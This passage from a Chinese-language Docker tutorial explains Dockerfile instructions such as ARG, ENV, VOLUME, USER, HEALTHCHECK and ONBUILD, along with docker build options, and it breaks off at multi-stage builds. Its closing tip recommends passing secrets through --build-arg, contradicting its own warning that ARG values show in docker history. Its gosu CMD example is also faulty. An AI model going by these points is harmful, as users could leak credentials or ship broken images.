可以从这个指令列表里感觉到，环境变量可以使用的地方很多，很强大。通过环境变量，我们可以让一份 `Dockerfile` 制作更多的镜像，只需使用不同的环境变量即可。

### ARG

格式：`ARG <参数名>[=<默认值>]`

构建参数和 `ENV` 的效果一样，都是设置环境变量。所不同的是，`ARG` 所设置的构建环境的环境变量，在将来容器运行时是不会存在这些环境变量的。但是不要因此就使用 `ARG` 保存密码之类的信息，因为 `docker history` 还是可以看到所有值的。

**换句话说，`ARG` 就像是编译时的变量，而 `ENV` 是运行时的变量**。

`Dockerfile` 中的 `ARG` 指令是定义参数名称，以及定义其默认值。该默认值可以在构建命令 `docker build` 中用 `--build-arg <参数名>=<值>` 来覆盖。

灵活的使用 `ARG` 指令，能够在不修改 Dockerfile 的情况下，构建出不同的镜像。

ARG 指令有生效范围，如果在 `FROM` 指令之前指定，那么只能用于 `FROM` 指令中。

```dockerfile
ARG DOCKER_USERNAME=library

FROM ${DOCKER_USERNAME}/alpine

RUN set -x ; echo ${DOCKER_USERNAME}
```

使用上述 Dockerfile 会发现无法输出 `${DOCKER_USERNAME}` 变量的值，要想正常输出，你必须在 `FROM` 之后再次指定 `ARG`

```dockerfile
# 只在 FROM 中生效
ARG DOCKER_USERNAME=library

FROM ${DOCKER_USERNAME}/alpine

# 要想在 FROM 之后使用，必须再次指定
ARG DOCKER_USERNAME=library

RUN set -x ; echo ${DOCKER_USERNAME}
```

对于多阶段构建，尤其要注意这个问题

```dockerfile
# 这个变量在每个 FROM 中都生效
ARG DOCKER_USERNAME=library

FROM ${DOCKER_USERNAME}/alpine

RUN set -x ; echo 1

FROM ${DOCKER_USERNAME}/alpine

RUN set -x ; echo 2
```

对于上述 Dockerfile 两个 `FROM` 指令都可以使用 `${DOCKER_USERNAME}`，对于在各个阶段中使用的变量都必须在每个阶段分别指定：

```dockerfile
ARG DOCKER_USERNAME=library

FROM ${DOCKER_USERNAME}/alpine

# 在FROM 之后使用变量，必须在每个阶段分别指定
ARG DOCKER_USERNAME=library

RUN set -x ; echo ${DOCKER_USERNAME}

FROM ${DOCKER_USERNAME}/alpine

# 在FROM 之后使用变量，必须在每个阶段分别指定
ARG DOCKER_USERNAME=library

RUN set -x ; echo ${DOCKER_USERNAME}
```

**与 ENV 的区别**

| 特性                                           | ARG                            | ENV                            |
| ---------------------------------------------- | ------------------------------ | ------------------------------ |
| 生效阶段                                       | 构建时（build）                | 运行时（run）和 构建时（build）                  |
| 默认可见范围                                   | 当前 Dockerfile 构建过程       | 最终镜像与运行时容器           |
| 是否出现在 `docker inspect` / `docker run env` | ❌ 不会                         | ✅ 会                           |
| 是否能在 `docker build` 时覆盖                 | ✅ 使用 `--build-arg`           | ❌ 不能（只能在容器启动时覆盖） |
| 是否能被 `docker run -e` 覆盖                  | ❌ 不存在                       | ✅ 可以                         |
| 是否会被写入镜像层                             | ✅（会出现在 `docker history`） | ✅（也会）                      |
| 是否适合保存敏感信息                           | ❌（仍能在 history 看到）       | ❌（同样能在 inspect/env 看到） |

* `ENV` 设置的环境变量在 **Docker 构建阶段** 和 **容器运行阶段** 都有效。
* `ARG` 仅在 **构建阶段** 有效，且不会出现在最终镜像或运行时环境中。

无论是 `ARG` 还是 `ENV`：

**都不安全存储密码、Token 等敏感数据。**

原因：

* `ARG` 的值可以通过 `docker history` 查看；
* `ENV` 的值可以通过 `docker inspect` 或 `docker exec env` 查看。

推荐安全方式：

* 使用 Docker Secret；
* 或通过 CI/CD 在运行时注入临时环境变量。

**最佳实践**：

**`ARG` 用于“构建配置”，`ENV` 用于“运行配置”。**
如果变量只影响构建过程，用 `ARG`；
如果变量要在运行时仍然可用，用 `ENV`；
如果两者都要，用 `ARG` + `ENV` 搭配。

**使用 ARG 的场景（构建时变量）**

`ARG` 主要用于构建阶段的逻辑控制，比如：

| 典型用途                     | 示例                                                         | 原因                           |
| ---------------------------- | ------------------------------------------------------------ | ------------------------------ |
| 指定基础镜像或依赖版本       | `ARG NODE_VERSION=20` `FROM node:${NODE_VERSION}-alpine`     | 在构建时确定版本，运行时不需要 |
| 传入构建上下文信息           | `ARG TARGETARCH`、`ARG BUILDPLATFORM`                        | 多架构构建（buildx）场景       |
| 控制构建行为                 | `ARG INSTALL_DEV=false` `RUN if [ "$INSTALL_DEV" = "true" ]; then npm i -D; fi` | 仅影响构建行为                 |
| 指定构建时用户名、镜像仓库等 | `ARG DOCKER_USERNAME`                                        | 不需要留到容器中               |

**特征：**

* 构建时有效；
* 不会出现在运行容器的环境中；
* 可用 `--build-arg` 临时覆盖；
* 不适合存放密码、token。

**使用 ENV 的场景（运行时变量）**

`ENV` 用于容器**运行时**仍需存在的配置，例如：

| 典型用途                   | 示例                                      | 原因                   |
| -------------------------- | ----------------------------------------- | ---------------------- |
| 程序运行环境               | `ENV NODE_ENV=production`                 | 运行时需要识别环境模式 |
| 应用内部路径               | `ENV APP_HOME=/usr/src/app`               | 构建时和运行时都需要   |
| 默认端口、语言、时区       | `ENV LANG=C.UTF-8` `ENV TZ=Asia/Shanghai` | 容器长期需要           |
| 与 CMD/ENTRYPOINT 配合使用 | `ENV CONFIG_PATH=/etc/app/config.json`    | 程序读取配置路径       |

**特征：**

* 构建时和运行时都能访问；
* 可被 `docker run -e` 或 `.env` 文件覆盖；
* 会写入镜像层；
* 不建议保存敏感信息（可通过 Secret 注入）。

**ARG + ENV 联合使用（双阶段变量传递）**

当你希望构建时通过 `--build-arg` 动态传入变量，并让它在运行时继续存在时，可以这样：

```dockerfile
FROM node:20-alpine

# 构建时传入
ARG APP_VERSION=1.0.0

# 运行时也能用
ENV APP_VERSION=${APP_VERSION}

RUN echo "Building version: $APP_VERSION"
CMD ["node", "app.js"]
```

构建：

```bash
docker build --build-arg APP_VERSION=2.1.0 -t myapp:2.1.0 .
```

运行：

```bash
docker run --rm myapp:2.1.0
```

容器中依然能访问：

```bash
echo $APP_VERSION
# 输出：2.1.0
```

当变量既影响构建行为，又影响程序运行时，用
**`ARG` 定义输入 → `ENV` 保存输出**。

**常见错误与反例**

| 错误                                  | 问题                                            |
| ------------------------------------- | ----------------------------------------------- |
| 把密码写进 ARG 或 ENV                 | 这两者都会被 `docker history` 或 `inspect` 看到 |
| 想在 FROM 之后用 FROM 前的 ARG        | 必须重新声明，否则为空                          |
| 想在运行时访问 ARG                    | 不行，ARG 在镜像构建完就消失了                  |
| 想在构建时访问 ENV（但写在 ENV 之前） | 无效，ENV 在定义之后才生效                      |

### VOLUME

格式为：

* `VOLUME ["<路径1>", "<路径2>"...]`
* `VOLUME <路径>`

容器在运行时产生的数据（如日志、数据库文件）如果直接写入容器文件系统，会造成：

* 容器存储层膨胀；
* 删除容器后数据丢失；
* 镜像更新时无法继承旧数据。

因此，**动态数据必须与容器生命周期解耦**，解决方案：将数据保存到 **卷（Volume）** 中。

```dockerfile
VOLUME /data
```

意思是：“在容器中声明一个挂载点 `/data`，告诉 Docker 这个目录应该被当作一个\*\*数据卷（Volume）\*\*来处理。”

**注意**：它**不会自动映射到宿主机的 `/data` 目录**。

实际情况上，如果你只是写了：

```bash
docker run myapp
```

Docker 会自动为 `/data` 创建一个**匿名卷**（anonymous volume），它位于宿主机的：

```bash
/var/lib/docker/volumes/<随机ID>/_data
```

也就是说，宿主机的路径是随机的，而不是 `/data`。

如果你想让容器的 `/data` 映射到宿主机的 `/data`，必须显式写：

```bash
docker run -v /data:/data myapp
```

这样宿主机的 `/data` 和容器的 `/data` 才是一一对应的。

并且**在 Dockerfile 里声明 `VOLUME /data`**：告诉别人这个目录有持久化意义。

然后**在 `docker run` 或 Compose 中显式挂载路径**：

```
volumes:
  - ./data:/data
```

这样可以控制宿主机的存储位置，不依赖匿名卷。

**三种情况对比表**

| 类型                               | 示例命令                                 | 宿主机路径                               | 管理方式                  | 特征                     |
| ---------------------------------- | ---------------------------------------- | ---------------------------------------- | ------------------------- | ------------------------ |
| **命名卷（named volume）**         | `-v mydata:/data`                        | `/var/lib/docker/volumes/mydata/_data`   | Docker 管理，可复用       | 左边是一个**单词名称**   |
| **匿名卷（anonymous volume）**     | Dockerfile: `VOLUME /data` 或 `-v /data` | `/var/lib/docker/volumes/<随机ID>/_data` | Docker 自动创建，不可复用 | 名称自动生成（哈希）     |
| **绑定挂载(挂载卷)（bind mount）** | `-v /home/user/data:/data`               | `/home/user/data`（宿主机真实路径）      | 用户自行管理              | 左边是**路径（带 `/`）** |

**挂载卷就是用户手动指定宿主机目录挂载到容器目录，相当于完全控制存储路径。**

示例：

```bash
# 使用匿名卷（Dockerfile 中的 VOLUME /data）
docker run -d myimage

# 使用命名卷，替代匿名卷
docker run -d -v mydata:/data myimage
```

命名卷会覆盖掉 Dockerfile 中定义的匿名卷挂载。

可以用以下命令区分卷类型：

```
docker inspect <容器ID> | grep Source
```

命名卷或匿名卷会在 `/var/lib/docker/volumes/` 下，
绑定挂载会显示宿主机的真实路径（如 `/home/user/data`）。

**注意**：

匿名卷**生命周期与容器一致**，当容器被删除时，如果你没加 `--volumes`，匿名卷会残留在宿主机上，占用空间，可以用 `docker volume prune` 清理。

匿名卷一般用于**临时数据**或**默认数据目录**，而生产环境通常会**显式使用命名卷**。

**最佳实践**：

**应用的动态数据目录（如数据库、日志、缓存等）应使用 `VOLUME` 声明**；

**在运行容器时，推荐使用命名卷或绑定挂载**，例如：

```
docker run -d -v mydata:/var/lib/mysql mysql
```

**镜像应保持无状态**，只包含程序和依赖；

**卷负责持久化与共享数据**，与容器生命周期解耦。

**命名卷管理命令**

**显式创建命名卷**

```bash
docker volume create mydata
```

可选参数：

```bash
docker volume create --driver local --label project=demo mydata
```

`--driver`：指定卷驱动，一般用 `local`

`--label`：给卷打标签，方便管理

**查看卷列表**

```bash
docker volume ls
```

示例输出：

```bash
DRIVER    VOLUME NAME
local     mydata
local     otherdata
```

**查看卷详情**

```bash
docker volume inspect mydata
```

输出包括：

* 卷的宿主机路径 (`Mountpoint`)
* 驱动信息
* 使用的容器（如果有）

**删除卷**

```bash
# 删除未被使用的卷
docker volume rm mydata

# 删除所有未使用卷
docker volume prune
```

正在被容器使用的卷无法删除；

`prune` 会清理所有未使用的卷，谨慎执行。

**使用卷挂载容器**

```bash
docker run -d -v mydata:/data myapp
```

如果卷不存在，Docker 会自动创建；

生产环境推荐**提前显式创建卷**，便于管理和监控。

### EXPOSE

格式为 `EXPOSE <端口1> [<端口2>...]`

**声明端口**：告诉镜像使用者容器内哪个端口会提供服务。

```dockerfile
EXPOSE 80
EXPOSE 443/tcp
EXPOSE 53/udp
```

**不启动服务**：EXPOSE 只是声明端口，容器内部服务必须自己启动，EXPOSE 本身不会监听端口

**与端口映射结合**：

* `docker run -P`：自动将所有 EXPOSE 声明的端口随机映射到宿主机端口。
* `docker run -p <宿主端口>:<容器端口>`：手动指定端口映射，公开容器端口给宿主或外界访问。

`-p` / `-P` 的区别

| 指令                     | 功能                       | 是否映射宿主端口 | 用途                                                         |
| ------------------------ | -------------------------- | ---------------- | ------------------------------------------------------------ |
| EXPOSE                   | 声明容器内部服务端口       | ❌ 否             | 文档化端口，帮助使用者了解容器提供的服务端口；配合 `-P` 自动随机映射 |
| -p <宿主端口>:<容器端口> | 映射宿主端口到容器端口     | ✅ 是             | 手动暴露服务端口，允许外部访问                               |
| -P                       | 自动映射所有 EXPOSE 的端口 | ✅ 是             | 随机分配宿主端口，方便快速启动和测试                         |

**最佳实践**

**镜像中声明 EXPOSE**：帮助使用者了解容器服务端口，方便文档化和团队协作。

**运行容器时使用 `-p` 或 `-P`**：

* 开发或测试环境可用 `-P` 随机映射端口；
* 生产环境应使用 `-p <宿主端口>:<容器端口>`，保证端口可控。

**端口协议明确**：TCP/UDP 需在 EXPOSE 中标明，否则默认 TCP。

EXPOSE 也可以声明多个端口：

```bash
EXPOSE 80 443
```

EXPOSE 只是镜像元数据的一部分，在 `docker inspect` 时可以看到：

```bash
docker inspect <镜像ID> | grep ExposedPorts -A 3
```

### WORKDIR

格式为 `WORKDIR <工作目录路径>`

**指定工作目录**：设置 Dockerfile 后续所有 `RUN`、`CMD`、`ENTRYPOINT`、`COPY`、`ADD` 等命令的默认工作目录。

**自动创建目录**：如果指定的目录不存在，Docker 会帮你创建。

```dockerfile
WORKDIR /app
RUN echo "hello" > world.txt
```

上述示例中，`world.txt` 会生成在 `/app` 下。

**常见错误示例**

很多初学者会把 Dockerfile 当作普通 Shell 脚本写，例如：

```dockerfile
RUN cd /app
RUN echo "hello" > world.txt
```

* **问题原因**：每个 `RUN` 命令都是独立容器执行的临时环境，前一个命令的内存状态（如当前工作目录）不会影响下一条 `RUN`。
* **结果**：`world.txt` 不会出现在 `/app` 下，而是生成在默认工作目录 `/` 下。

**相对路径用法**

* WORKDIR 支持相对路径，相对路径是基于 **上一条 WORKDIR**：

```dockerfile
WORKDIR /a
WORKDIR b
WORKDIR c

RUN pwd
```

* 输出路径为 `/a/b/c`。
* 多个 WORKDIR 可以连续叠加，相当于在前一个目录的基础上切换。

**最佳实践**：

**尽量在 Dockerfile 开头设置 WORKDIR**

* 可以保证后续所有命令在正确目录执行，避免错误。

**相对路径小心使用**

* 明确理解它是基于前一个 WORKDIR 的路径，不要写模糊路径。

**与 COPY/ADD 配合**

```
WORKDIR /app
COPY . .
RUN npm install
```

复制操作和安装命令都会基于 `/app` 目录执行，更直观。

**不要用 RUN cd 切换目录**

* 每个 RUN 都是新容器，`cd` 的效果不会保留。

### USER

格式：`USER <用户名>[:<用户组>]`

`USER` 用于**切换容器内的执行用户**。

影响后续层的所有指令，包括 `RUN`、`CMD`、`ENTRYPOINT` 等。

**注意**：切换的是**容器内用户**，与宿主机用户无关。

```dockerfile
RUN groupadd -r redis && useradd -r -g redis redis
USER redis
RUN echo "Hello" > /tmp/hello.txt
```

上例中，后续 `RUN` 命令都会以 `redis` 用户身份执行，而不是 root。

**常见误区**

**USER 不是 sudo/su**：

* `USER` 是 Docker 构建镜像阶段或容器启动阶段的默认用户切换。
* 不依赖 TTY，不会报错（不像直接在容器内用 `su`/`sudo` 切换用户，可能因无终端或缺少密码而失败）。

**切换用户启动服务的意义**：

1. **安全性**：容器内的服务通常不建议以 root 用户运行，降低被攻破后的权限风险。
2. **权限隔离**：保证服务只能访问自己用户的文件和目录，防止误操作或安全漏洞。
3. **符合最佳实践**：许多官方镜像都会提供非 root 用户运行服务（如 `nginx`、`redis`、`mysql`）。

**结合 gosu**

* 有时需要在容器启动阶段用 root 用户做准备工作，但执行服务时使用非 root 用户。
* `gosu` 可以方便切换用户执行命令：

```dockerfile
RUN groupadd -r redis && useradd -r -g redis redis
RUN wget -O /usr/local/bin/gosu "https://github.com/tianon/gosu/releases/download/1.12/gosu-amd64" \
    && chmod +x /usr/local/bin/gosu \
    && gosu nobody true
CMD ["exec", "gosu", "redis", "redis-server"]
```

* 作用：在容器启动时，以 `redis` 用户启动服务，而构建时仍可用 root 完成安装、权限配置等操作。

::: details **容器内运行 root 的风险**

如果容器内的服务以 **root 用户** 运行：

* 攻击者一旦突破容器，**他们在容器里的权限就是 root**。
* 可能发生的事情：
  1. **修改容器内文件**：包括程序、配置、日志等。
  2. **读取敏感信息**：比如挂载卷内的数据（如果卷挂载了宿主机目录，root 有权限访问）。
  3. **逃逸风险增加**：在某些情况下，攻击者可能利用内核漏洞或挂载卷逃逸到宿主机，获取宿主 root 权限。

:::

::: details **非 root 用户的安全优势**

* 如果容器内服务以 **普通用户** 运行：
  1. 攻击者权限被限制在该用户能访问的范围内。
  2. 对容器内其他目录或挂载卷（需要更高权限的目录）无法随意修改。
  3. 减少了潜在的容器逃逸风险。

**注意**：这并不能完全保证安全，仍需结合**最小权限原则、只挂载必要卷、限制能力（capabilities）、使用只读文件系统等措施**。

:::

核心理念：**容器不是完全面的隔离**，但以非 root 用户运行服务可以显著降低攻击面和潜在风险。

### HEALTHCHECK

用于 **检测容器运行状态**，判断服务是否健康。

Docker 1.12 之前只能通过主进程是否退出判断容器状态，无法发现死锁或服务卡死等情况。

HEALTHCHECK 指令允许容器 **主动自检**，状态分为：

* `starting`：健康检查刚开始，尚未判断。
* `healthy`：健康检查通过。
* `unhealthy`：连续失败超过重试次数。

**语法**

```dockerfile
HEALTHCHECK [选项] CMD <命令>    # 设置健康检查命令
HEALTHCHECK NONE                 # 屏蔽基础镜像已有的健康检查
```

**可选参数**：

| 选项                | 说明                             | 默认值 |
| ------------------- | -------------------------------- | ------ |
| `--interval=<间隔>` | 两次健康检查之间的时间间隔       | 30s    |
| `--timeout=<时长>`  | 健康检查命令运行超时时间         | 30s    |
| `--retries=<次数>`  | 连续失败多少次判定为 `unhealthy` | 3      |

**命令返回值约定**：

* `0` → 健康
* `1` → 不健康
* `2` → 保留，不要使用

**命令格式**：

* Shell 格式：`CMD curl -fs http://localhost/ || exit 1`
* Exec 格式：`CMD ["curl", "-fs", "http://localhost/"]`

和 CMD、ENTRYPOINT 一样，HEALTHCHECK 只能出现一次，后续会覆盖前面的。

**示例**

构建带健康检查的 nginx 镜像：

```dockerfile
FROM nginx
RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/*
HEALTHCHECK --interval=5s --timeout=3s \
  CMD curl -fs http://localhost/ || exit 1
```

运行容器：

```bash
docker build -t myweb:v1 .
docker run -d --name web -p 80:80 myweb:v1
```

查看状态：

```bash
docker container ls
# 初始状态：health: starting
# 几秒后：health: healthy
```

如果连续失败超过 `--retries`，状态会变为 `unhealthy`。

查看健康检查日志：

```bash
docker inspect --format '{{json .State.Health}}' web | python -m json.tool
```

**使用场景与建议**

**场景**：

* Web 服务、API 服务、数据库等进程可能“卡死”或“死循环”。
* 需要和 Docker 编排工具（如 Docker Swarm、Kubernetes）配合，实现自动重启或调度。

**建议**：

* 健康检查命令尽量轻量，避免对容器本身造成负载。
* 间隔和超时可根据实际业务调整，不必太频繁。
* 健康检查可以结合 `CMD` 或 `ENTRYPOINT` 启动的主进程一起设计，确保检查覆盖关键功能。

**补充**

HEALTHCHECK 只是 **容器自身状态检测**，不会自动修复或重启容器。

在编排工具中，可结合容器状态做自动重启或流量切换：

* Docker Swarm：服务健康检查失败可触发重启。
* Kubernetes：LivenessProbe / ReadinessProbe 原理类似。

使用 `HEALTHCHECK NONE` 可以覆盖基础镜像自带的健康检查。

**总结**：HEALTHCHECK 是 Docker 提供的容器健康状态自检机制，通过执行指定命令定期判断服务状态，为自动化调度和高可用提供基础。

### LABEL

**作用**：给镜像添加**元数据（metadata）**，以键值对的形式存储。元数据可以用来描述镜像信息、作者、版本、文档地址等，方便管理、搜索和自动化工具使用。

**格式**：

```dockerfile
LABEL <key>=<value> <key>=<value> ...
```

**注意**：多个键值对可以写在同一行，也可以分多行写。

**示例**

```dockerfile
# 作者信息
LABEL maintainer="yumengjianghu <yumeng@example.com>"

# 镜像相关信息
LABEL org.opencontainers.image.authors="yeasy"
LABEL org.opencontainers.image.version="1.0"
LABEL org.opencontainers.image.licenses="MIT"
LABEL org.opencontainers.image.source="https://github.com/yeasy/example"
LABEL org.opencontainers.image.documentation="https://yeasy.gitbooks.io"
LABEL org.opencontainers.image.title="My Docker Image"
LABEL org.opencontainers.image.description="这是一个示例 Docker 镜像"
```

**常用标签分类**

| 类别     | 键示例                                                       | 说明                 |
| -------- | ------------------------------------------------------------ | -------------------- |
| 作者信息 | `maintainer`, `org.opencontainers.image.authors`             | 指明镜像的作者       |
| 文档     | `org.opencontainers.image.documentation`                     | 镜像文档或说明网址   |
| 源码     | `org.opencontainers.image.source`                            | 镜像对应的源码仓库   |
| 版本     | `org.opencontainers.image.version`                           | 镜像版本号           |
| 许可证   | `org.opencontainers.image.licenses`                          | 镜像使用的开源许可证 |
| 描述     | `org.opencontainers.image.title`, `org.opencontainers.image.description` | 镜像名称和描述       |

**补充说明**

1. **元数据不会影响镜像运行**
   * LABEL 只是存储信息，不会改变容器行为或占用额外资源。
2. **方便搜索和自动化**
   * Docker Hub、私有 Registry、CI/CD 工具都可以根据标签筛选、查找和管理镜像。
3. **多行写法**（可读性更好）：

```dockerfile
LABEL org.opencontainers.image.authors="yeasy" \
      org.opencontainers.image.version="1.0" \
      org.opencontainers.image.licenses="MIT" \
      org.opencontainers.image.documentation="https://yeasy.gitbooks.io"
```

**总结**：LABEL 指令是镜像的“名片”，存储作者、版本、文档等信息，便于管理、搜索和自动化流程，是 **构建规范化镜像的最佳实践**。

### SHELL

**作用**：指定 **RUN、CMD、ENTRYPOINT** 执行命令时使用的默认 shell。

* Linux 默认 shell 是 `["/bin/sh", "-c"]`
* Windows 默认 shell 是 `["cmd", "/S", "/C"]`

**格式**：

```dockerfile
SHELL ["executable", "parameters"]
```

注意：只有 exec 形式（JSON 数组形式）才可靠，推荐使用数组形式而非字符串形式。

**示例**

```dockerfile
# 默认 shell
SHELL ["/bin/sh", "-c"]

RUN echo "Hello"; ls

# 启用错误退出和命令打印
SHELL ["/bin/sh", "-cex"]

RUN echo "Hello"; ls
```

* `-c`：执行命令字符串
* `-e`：遇到错误时退出
* `-x`：打印每条命令及参数（调试友好）

**与 ENTRYPOINT / CMD 的关系**

当 ENTRYPOINT 或 CMD 使用 **shell 格式**（字符串形式）时，SHELL 指定的 shell 会成为这两个指令的执行 shell：

```dockerfile
SHELL ["/bin/sh", "-cex"]

# CMD 或 ENTRYPOINT 使用 shell 格式时
CMD nginx
ENTRYPOINT nginx
```

等价于执行：

```dockerfile
/bin/sh -cex -c "nginx"
```

如果 CMD / ENTRYPOINT 使用 **exec 形式**（数组形式），SHELL 不会生效，直接执行指定的可执行文件。

**使用场景和最佳实践**

**调试 RUN 命令**

* 在构建镜像时，`-x` 参数方便查看每条命令执行情况
* `-e` 参数可以避免错误被忽略，防止构建成功但镜像不可用

**确保 ENTRYPOINT/CMD 的一致性**

* 当 ENTRYPOINT / CMD 使用 shell 格式时，可以通过 SHELL 指令指定执行行为（如开启 `-e` 防止启动失败被忽略）

**安全和可移植性**

* exec 形式的 CMD / ENTRYPOINT 更安全，SHELL 不会影响
* 对于复杂命令，建议在 RUN 时用 SHELL 调试，但生产 CMD / ENTRYPOINT 尽量用 exec 形式

**示例：调试 RUN 命令**

```dockerfile
SHELL ["/bin/sh", "-cex"]

RUN apt-get update && apt-get install -y curl \
    && curl -fs http://example.com || exit 1
```

* 遇到任何失败都会立即停止构建
* 输出每条命令和执行结果，方便排查问题

### ONBUILD

**作用**：在 Dockerfile 中设置**触发指令**，这些指令不会在当前镜像构建时执行，而是在**基于该镜像的下游镜像**构建时执行。

也就是说，ONBUILD 是一种 **“延迟执行”的机制**，把某些操作留给子镜像处理。

**格式**

```dockerfile
ONBUILD <指令>
```

* `<指令>` 可以是 RUN、COPY、ADD 等绝大多数 Dockerfile 指令
* 当你用这个镜像做 **FROM** 时，ONBUILD 指令才会触发

**示例**

```dockerfile
# 父镜像 Dockerfile
FROM ubuntu:20.04
ONBUILD COPY . /app
ONBUILD RUN make /app
```

然后我们写一个子镜像：

```dockerfile
# 子镜像 Dockerfile
FROM myparentimage
RUN echo "Hello World"
```

构建子镜像时，父镜像的 **ONBUILD 指令会被触发**，等价于：

```dockerfile
COPY . /app
RUN make /app
```

**使用场景**

**构建模板镜像（Base image）**

* 父镜像定义一些**通用操作**，如复制应用目录、安装依赖
* 子镜像只需要 FROM 父镜像，就自动继承这些操作

**为下游镜像“约定行为”**

* 比如一个语言运行环境镜像，可以约定下游镜像必须复制源代码并编译

**注意事项**

**ONBUILD 指令只触发在下游镜像构建时**

* 构建父镜像时不会执行

**不要滥用 ONBUILD**

* 容易造成“魔法行为”，让下游镜像构建变得不透明
* 不适合普通应用镜像，更多用于**库镜像或模板镜像**

**常用组合**

```dockerfile
ONBUILD COPY . /app        # 子镜像会自动复制当前目录
ONBUILD RUN pip install -r /app/requirements.txt  # 安装依赖
```

**调试技巧**

* 父镜像中可以写注释提醒下游开发者 ONBUILD 的作用
* 构建子镜像时，如果不想执行 ONBUILD，可以选择不继承父镜像，或者手动处理

**ONBUILD 指令最佳实践**

**ONBUILD** 虽然提供了延迟执行的机制，但在实际使用中需要谨慎。最佳实践如下：

**适合模板镜像（Base Image）**

* 用于为下游镜像约定通用操作，例如：复制源代码、安装依赖、执行初始化操作。
* 不适合普通应用镜像，否则容易造成“魔法行为”，下游构建难以理解。

**尽量避免复杂逻辑**

* ONBUILD 指令最好保持简单和明确
* 复杂的条件、参数化操作不适合使用 ONBUILD

**替代方案**：使用参数 + 条件 RUN

* 通过 `ARG` 和环境变量控制构建逻辑，更灵活、易维护
* 示例：

```dockerfile
# 父镜像 Dockerfile
ARG INSTALL_DEPS=true

RUN if [ "$INSTALL_DEPS" = "true" ]; then \
        apt-get update && apt-get install -y curl; \
    fi
```

下游镜像可以传入不同参数决定是否安装依赖：

```dockerfile
docker build --build-arg INSTALL_DEPS=false -t mychildimage .
```

**可维护性考虑**

* ONBUILD 是隐式触发，难以调试
* 参数 + 条件逻辑明确，构建流程可控

ONBUILD 适合**简单的模板镜像**和固定操作的延迟执行场景；
更灵活、可维护的方案是**使用 ARG / ENV + 条件 RUN**，通过传参控制镜像构建逻辑，避免魔法行为，同时方便调试和扩展。

### RUN

`RUN` 指令是用来执行命令行命令的。由于命令行的强大能力，`RUN` 指令在定制镜像时是最常用的指令之一。其格式有两种：

* shell 格式：`RUN <命令>`，就像直接在命令行中输入的命令一样。刚才写的 Dockerfile 中的 `RUN` 指令就是这种格式。

```bash
RUN echo '<h1>Hello, Docker!</h1>' > /usr/share/nginx/html/index.html
```

* exec 格式：`RUN ["可执行文件", "参数1", "参数2"]`，这更像是函数调用中的格式。

虽然 `RUN` 可以像 Shell 脚本一样可以执行命令，但是 Dockerfile 中每一个指令都会建立一层，`RUN` 也不例外。

如果你有很多的命令需要执行，可以使用 `&&` 把它们连接成一行，这样就只会创建一层，如果太长，可以使用反斜杠 `\` 换行，甚至使用 `#` 注释来增加可读性。

并且注意在执行命令后清理不必要的文件，减少镜像体积，必须在同层中完成清理，否则清理操作会在新层中执行，前一层的文件依然存在，因为每一层都是只读的。

**同层删除** → 文件在同一层被创建后又删除 → 从未进入最终镜像层 → **真正减小体积**

**跨层删除** → 删除操作在新的一层发生 → 上一层的文件依然存在，只是被标记为不可见 → **占用空间不减**

### 构建镜像

为了构建一个镜像，需要在 Dockerfile 所在目录下运行 `docker build` 命令。

```bash
docker build [选项] <上下文路径/URL/->

docker build -t <镜像名称:标签> .
```

`.` 表示当前目录，而 `Dockerfile` 就在当前目录，这个参数用于指定构建上下文，而不是 Dockerfile 所在目录。

即 Docker 引擎在构建镜像时可以访问的文件和目录，Docker 会把上下文目录下的所有文件打包并发送给 Docker 引擎，用于镜像构建。

**COPY / ADD 指令** 的源路径都是相对于上下文目录的。

超出上下文的路径无法被 Docker 引擎访问，例如：

```bash
COPY ../package.json /app  # 无法工作
```

如果文件不在上下文内，需要先移动或复制到上下文目录中。

上下文越大，`docker build` 上传给 Docker 引擎的包就越大，构建越慢，避免将整个硬盘或无关目录作为上下文，可以使用 `.dockerignore` 文件排除不需要的文件（语法类似 `.gitignore`）。

默认情况下：Dockerfile 名称为 `Dockerfile`，位于上下文目录中，可以用 `-f` 指定其他路径或名称的 Dockerfile：

```bash
docker build -t myimage -f ../Dockerfile.custom .
```

`docker build` 还支持从 URL 构建，比如可以直接从 Git repo 中构建：

```bash
docker build -t hello-world https://github.com/docker-library/hello-world.git#master:amd64/hello-world
```

这行命令指定了构建所需的 Git repo，并且指定分支为 `master`，构建目录为 `/amd64/hello-world/`，然后 Docker 就会自己去 `git clone` 这个项目、切换到指定分支、并进入到指定目录后开始构建。

```bash
docker build http://server/context.tar.gz
```

Docker 会下载指定的 tar.gz 包，自动解压并将解压后的内容作为 **构建上下文**，默认会在上下文根目录寻找 `Dockerfile`

**用途**：远程构建非 Git 仓库内容

```bash
docker build - < context.tar.gz
```

如果标准输入是 tar 压缩包（gzip / bzip2 / xz），Docker 会解压后将内容作为 **构建上下文**，可正常使用 `COPY` / `ADD` 指令

**用途**：通过管道或脚本提供上下文，而不依赖本地目录

```bash
docker build - < Dockerfile
# 或
cat Dockerfile | docker build -
```

标准输入直接提供 Dockerfile 内容，**没有上下文** ，不能使用 `COPY` / `ADD` 拷贝本地文件，适合临时或简短 Dockerfile 构建。

**最佳实践**：

```bash
docker build \
  -f <Dockerfile路径> \        # 指定 Dockerfile 文件，默认是 ./Dockerfile
  -t <镜像名称>:<标签> \       # 镜像名称和标签，例如 myapp:latest
  --build-arg <参数名>=<值> \  # 可选，传入构建参数 ARG
  --no-cache \                  # 可选，不使用缓存重新构建
  --pull \                      # 可选，总是尝试拉取最新基础镜像
  --progress=plain \            # 可选，构建输出显示方式
  <上下文路径>                  # 构建上下文，一般是当前目录 .
```

**示例**

```bash
docker build \
  -f Dockerfile \
  -t myapp:1.0.0 \
  --build-arg APP_ENV=production \
  --pull \
  --progress=plain \
  .
```

解释：

* `-f Dockerfile`：使用当前目录下的 Dockerfile
* `-t myapp:1.0.0`：给镜像打标签，方便管理和推送仓库
* `--build-arg APP_ENV=production`：传入构建参数
* `--pull`：拉取最新基础镜像，确保镜像更新
* `--progress=plain`：显示完整日志，方便调试
* `.`：上下文路径为当前目录

***

总是给镜像打标签 (`-t <name>:<tag>`)

大上下文目录可以使用 `.dockerignore` 排除不必要文件

尽量把不常变化的指令放在前面利用缓存，加快构建速度

对于敏感信息，不要直接写在 Dockerfile，使用 `--build-arg` 或构建时注入环境变量

### 多阶段构建

**全部放入一个 Dockerfile**：将所有的构建过程编包含在一个 `Dockerfile` 中，包括项目及其依赖库的编译、测试、打包等流程，这里可能会带来的一些问题，比如：

* 镜像层次多，镜像体积较大，部署时间变长
* 源代码存在泄露的风险

**分散到多个 Dockerfile**

